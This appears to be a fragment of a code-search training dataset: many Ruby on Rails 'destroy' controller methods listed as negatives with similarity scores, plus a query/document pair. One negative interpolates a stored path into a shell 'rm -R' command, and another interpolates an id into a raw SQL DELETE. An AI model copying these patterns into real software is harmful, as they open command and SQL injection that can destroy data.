"def destroy\n @repairer = Repairer.find(params[:id])\n @repairer.destroy\n\n respond_to do |format|\n format.html { redirect_to repairers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @repair.destroy\n respond_to do |format|\n format.html { redirect_to repairs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @repair.destroy\n respond_to do |format|\n format.html { redirect_to repairs_url, notice: 'Repair was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @repair_record = RepairRecord.find(params[:id])\n @repair_record.destroy\n\n respond_to do |format|\n format.html { redirect_to repair_records_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @type_repair.destroy\n respond_to do |format|\n format.html { redirect_to type_repairs_url, notice: 'Type repair was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @remixer.destroy\n respond_to do |format|\n format.html { redirect_to remixers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fleet = Fleet.find params[:fleet_id]\n @vehicle = @fleet.vehicles.find params[:vehicle_id]\n @vehicle_repair = @vehicle.vehicle_repairs.find(params[:id])\n @vehicle_repair.destroy\n\n respond_to do |format|\n format.html { redirect_to(fleet_vehicle_vehicle_repairs_path(@fleet, @vehicle), :notice => 'Vehicle repair was successfully created.') }\n format.xml { head :ok }\n end\n end",
"def destroy\n @repairq.destroy\n respond_to do |format|\n format.html { redirect_to repairqs_url, notice: 'Repairq was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @updaterete = Updaterete.find(params[:id])\n @updaterete.destroy\n\n respond_to do |format|\n format.html { redirect_to updateretes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bus= Bus.find(@repair.bus_id)\n @repair.destroy\n bus_update(@bus)\n\n respond_to do |format|\n format.html { redirect_to repairs_url, notice: 'Repair was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @retailer = Retailer.find(params[:id])\n @retailer.destroy\n\n respond_to do |format|\n format.html { redirect_to retailers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @retailer = Retailer.find(params[:id])\n @retailer.destroy\n\n respond_to do |format|\n format.html { redirect_to retailers_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @consultor.destroy\n respond_to do |format|\n format.html { redirect_to consultors_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @repair_order.destroy\n respond_to do |format|\n format.html { redirect_to repair_orders_url, notice: 'Repair order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @repair_type = RepairType.find(params[:id])\n @repair_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(repair_types_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @resturant.destroy\n respond_to do |format|\n format.html { redirect_to resturants_url, notice: 'Resturant was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @realtor.destroy\n respond_to do |format|\n format.html { redirect_to realtors_url, notice: 'Realtor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @realtor.destroy\n respond_to do |format|\n format.html { redirect_to realtors_url, notice: 'Realtor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rundockerserver.destroy\n respond_to do |format|\n format.html { redirect_to rundockerservers_url, notice: 'Rundockerserver was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @resourcer.destroy\n respond_to do |format|\n format.html { redirect_to resourcers_url, notice: 'Resourcer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end",
"def destroy\n @revendedor = Revendedor.find(params[:id])\n @revendedor.destroy\n\n respond_to do |format|\n format.html { redirect_to(revendedors_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @rider = Rider.find(params[:id])\n @rider.destroy\n\n respond_to do |format|\n format.html { redirect_to riders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @railscareer.destroy\n respond_to do |format|\n format.html { redirect_to railscareers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trein_consul_comercial.destroy\n respond_to do |format|\n format.html { redirect_to trein_consul_comercials_url }\n format.json { head :no_content }\n end\n end",
"def delete!\n Recliner.delete(uri)\n end",
"def destroy\n unless current_user.has_perm?(\"repairs_repairs_can_destroy\")\n permission_deny\n else\n @repair = Repair.find(params[:id])\n @repair.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_repairs_url) }\n format.xml { head :ok }\n end\n end\n end",
"def destroy\n @repair_malware_clean.destroy\n respond_to do |format|\n format.html { redirect_to repair_malware_cleans_url, notice: 'Repair malware clean was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @prayer = Prayer.find(params[:id])\n @prayer.destroy\n\n respond_to do |format|\n format.html { redirect_to prayers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @prayer = Prayer.find(params[:id])\n @prayer.destroy\n\n respond_to do |format|\n format.html { redirect_to prayers_url }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @consultor.destroy\n respond_to do |format|\n format.html { redirect_to consultors_url, notice: 'Consultor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @d_dungeoneer.destroy\n respond_to do |format|\n format.html { redirect_to d_dungeoneers_url, notice: 'D dungeoneer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rower.destroy\n respond_to do |format|\n format.html { redirect_to rowers_url, notice: 'Rower was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mineral.destroy\n respond_to do |format|\n format.html { redirect_to minerals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_retailer.destroy\n respond_to do |format|\n format.html { redirect_to admin_retailers_url, notice: 'Retailer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @retailer.destroy\n respond_to do |format|\n format.html { redirect_to retailers_url, notice: 'Retailer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @red.destroy\n respond_to do |format|\n format.html { redirect_to reds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @database = Database.find(params[:id])\n path = @database.path\n delete = %x[rm -R #{path}]\n @database.destroy\n\n respond_to do |format|\n format.html { redirect_to databases_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @prayer.destroy\n respond_to do |format|\n format.html { redirect_to prayers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request = PrayerRequest.find(params[:id])\n @prayers = Prayer.where(\"prayer_request_id = ?\", @request.id)\n @prayers.each do |prayer| \n prayer.destroy\n end\n\n respond_to do |format|\n format.html { redirect_to prayers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n chef_rest_v1.delete(\"clients/#{@name}\")\n end",
"def destroy\n @shelf.destroy\n\n respond_to do |format|\n format.html { redirect_to shelves_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cartridge.destroy\n respond_to do |format|\n format.html { redirect_to cartridges_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @repairshop = Repairshop.find(params[:id])\n @repairshop.destroy\n\n respond_to do |format|\n format.html { redirect_to(repairshops_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @resto.destroy\n respond_to do |format|\n format.html { redirect_to restos_url, notice: 'Entry was deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pessoa_receber = PessoaReceber.find(params[:id])\n @pessoa_receber.destroy\n\n respond_to do |format|\n format.html { redirect_to pessoa_recebers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @caterer = Caterer.find(params[:id])\n @caterer.destroy\n\n respond_to do |format|\n format.html { redirect_to caterers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @refferalmaster = Refferalmaster.find(params[:id])\n @refferalmaster.destroy\n\n respond_to do |format|\n format.html { redirect_to(refferalmasters_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @reparation.destroy\n respond_to do |format|\n format.html { redirect_to reparations_url, notice: 'Reparation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @receipe = Receipe.find(params[:id])\n @receipe.destroy\n\n respond_to do |format|\n format.html { redirect_to receipes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reconcile = Reconcile.find(params[:id])\n @reconcile.destroy\n\n respond_to do |format|\n format.html { redirect_to reconciles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @consultant_master = ConsultantMaster.find(params[:id])\n @consultant_master.destroy\n\n respond_to do |format|\n format.html { redirect_to consultant_masters_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shelf.destroy\n respond_to do |format|\n format.html { redirect_to shelves_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @referee = Referee.find(params[:id])\n @referee.destroy\n\n respond_to do |format|\n format.html { redirect_to referees_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @refugee.destroy\n respond_to do |format|\n format.html { redirect_to refugees_url, notice: 'Refugee was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restaurant = Restaurant.find(params[:id])\n @restaurant.destroy\n\n respond_to do |format|\n format.html { redirect_to restaurants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restaurant = Restaurant.find(params[:id])\n @restaurant.destroy\n\n respond_to do |format|\n format.html { redirect_to restaurants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restaurant = Restaurant.find(params[:id])\n @restaurant.destroy\n\n respond_to do |format|\n format.html { redirect_to restaurants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restaurant = Restaurant.find(params[:id])\n @restaurant.destroy\n\n respond_to do |format|\n format.html { redirect_to restaurants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restaurant = Restaurant.find(params[:id])\n @restaurant.destroy\n\n respond_to do |format|\n format.html { redirect_to restaurants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restaurant = Restaurant.find(params[:id])\n @restaurant.destroy\n\n respond_to do |format|\n format.html { redirect_to restaurants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restaurant = Restaurant.find(params[:id])\n @restaurant.destroy\n\n respond_to do |format|\n format.html { redirect_to restaurants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restaurant = Restaurant.find(params[:id])\n @restaurant.destroy\n\n respond_to do |format|\n format.html { redirect_to restaurants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @arrondissement.destroy\n respond_to do |format|\n format.html { redirect_to arrondissements_url, notice: 'Arrondissement was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @chest_triceps1.destroy\n respond_to do |format|\n format.html { redirect_to chest_triceps1s_url, notice: 'Chest/Triceps 1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice = Invoice.find(params[:id])\n @invoice.repairs.each do |repair|\n repair.invoice_id = nil\n repair.save!\n end\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @relatorios = Relatorio.find(params[:id])\n @relatorios.destroy\n\n respond_to do |format|\n format.html { redirect_to(homes_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @renter = Renter.find(params[:id])\n @renter.destroy\n\n respond_to do |format|\n format.html { redirect_to renters_url }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @retro = Retro.find(params[:id])\n @retro.destroy\n\n respond_to do |format|\n format.html { redirect_to retros_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recovery_item.destroy\n respond_to do |format|\n format.html { redirect_to recovery_items_url, notice: 'Recovery item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @foodhamper = Foodhamper.find(params[:id])\n @foodhamper.destroy\n\n respond_to do |format|\n format.html { redirect_to foodhampers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rapper.destroy\n respond_to do |format|\n format.html { redirect_to rappers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @redpack = Redpack.find(params[:id])\n @redpack.destroy\n\n respond_to do |format|\n format.html { redirect_to redpacks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fulcliente = Fulcliente.find(params[:id])\n @fulcliente.destroy\n\n respond_to do |format|\n format.html { redirect_to fulclientes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @renter = Renter.find(params[:id])\n @renter.destroy\n\n respond_to do |format|\n format.html { redirect_to renters_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @client = Client.find params[:client_id]\n @pet.destroy\n respond_to do |format|\n format.html { redirect_to client_pets_path(@client), notice: 'Mascota eliminada... Todos los perritos van al cielo' }\n end\n end",
"def destroy\n #add admin check here!\n @diner.destroy\n respond_to do |format|\n format.html { redirect_to diners_url }\n format.json { head :no_content }\n end\n end",
"def delete(options={})\n connection.delete(\"/\", @name)\n end",
"def destroy\n @residential.destroy\n respond_to do |format|\n format.html { redirect_to residentials_url, notice: 'Residential was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rider.destroy\n respond_to do |format|\n format.html { redirect_to riders_url, notice: 'Rider was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recruiter = Recruiter.find(params[:id])\n @recruiter.destroy\n\n respond_to do |format|\n format.html { redirect_to recruiters_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @drip = Drip.find(params[:id])\n @drip.destroy\n\n respond_to do |format|\n format.html { redirect_to drips_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reprogramacion = Reprogramacion.find(params[:id])\n @reprogramacion.destroy\n\n respond_to do |format|\n format.html { redirect_to reprogramaciones_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @graveyard.destroy\n respond_to do |format|\n format.html { redirect_to graveyards_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @graveyard.destroy\n respond_to do |format|\n format.html { redirect_to graveyards_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ptel_reup.destroy\n respond_to do |format|\n format.html { redirect_to ptel_reups_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @uder.destroy\n respond_to do |format|\n format.html { redirect_to uders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recovery.destroy\n respond_to do |format|\n format.html { redirect_to recoveries_url, notice: 'Recovery was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dealer.destroy\n respond_to do |format|\n format.html { redirect_to dealers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @repuestum = Repuestum.find(params[:id])\n @repuestum.destroy\n\n respond_to do |format|\n format.html { redirect_to repuesta_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @repa = Repa.find(params[:id])\n @repa.destroy\n\n respond_to do |format|\n format.html { redirect_to repas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @repa = Repa.find(params[:id])\n @repa.destroy\n\n respond_to do |format|\n format.html { redirect_to repas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restaurant.destroy\n respond_to do |format|\n format.html { redirect_to restaurants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restaurant.destroy\n respond_to do |format|\n format.html { redirect_to restaurants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restaurant.destroy\n respond_to do |format|\n format.html { redirect_to restaurants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n # DELETE\n # TODO: removes a specific restaurant\n DB.execute(\"DELETE FROM restaurants WHERE id = #{@id}\")\n nil\n end",
"def destroy\n @reel = Reel.find(params[:id])\n @reel.destroy\n\n respond_to do |format|\n format.html { redirect_to reels_url }\n format.json { head :no_content }\n end\n end"
] | [
"0.76297843",
"0.7295967",
"0.71490043",
"0.6714776",
"0.6641083",
"0.66315794",
"0.654417",
"0.65371615",
"0.65280503",
"0.6516148",
"0.65038466",
"0.64948267",
"0.64929163",
"0.6487382",
"0.64491946",
"0.6432615",
"0.6429474",
"0.64268386",
"0.64268386",
"0.63970006",
"0.63960874",
"0.63855165",
"0.63845044",
"0.63815445",
"0.63687736",
"0.63656855",
"0.6363846",
"0.63543284",
"0.6345767",
"0.63421375",
"0.63421375",
"0.6337134",
"0.63317835",
"0.6317368",
"0.6316445",
"0.6311167",
"0.630348",
"0.6295459",
"0.6295339",
"0.6293891",
"0.6290231",
"0.629004",
"0.62887144",
"0.62860054",
"0.6285946",
"0.6285754",
"0.627856",
"0.62772816",
"0.62707156",
"0.6269663",
"0.6268296",
"0.6265921",
"0.62622786",
"0.6260399",
"0.62563956",
"0.62553847",
"0.6247435",
"0.6241561",
"0.6241561",
"0.6241561",
"0.6241561",
"0.6241561",
"0.6241561",
"0.6241561",
"0.6241561",
"0.62384826",
"0.6235299",
"0.6232821",
"0.623141",
"0.623029",
"0.62275964",
"0.62272096",
"0.62265754",
"0.6224165",
"0.6224164",
"0.62239677",
"0.6218854",
"0.62185335",
"0.6218497",
"0.6215345",
"0.62151176",
"0.6213689",
"0.62126064",
"0.6211648",
"0.62111956",
"0.62095845",
"0.6204868",
"0.6204868",
"0.6202701",
"0.62014765",
"0.62009",
"0.6197869",
"0.6197789",
"0.6197591",
"0.6197591",
"0.6195013",
"0.6195013",
"0.6195013",
"0.61944425",
"0.61943257"
] | 0.73074424 | 1 |
Use callbacks to share common setup or constraints between actions. | def set_repairer
@repairer = Repairer.find_by(user: current_user)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def repairer_params
params.require(:repairer).permit(:user_id, :business_name, :category, :description, :will_travel, :photo, :remove_photo, address_attributes: [:street, :suburb, :postcode, :state, :country, :latitude, :longitude])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
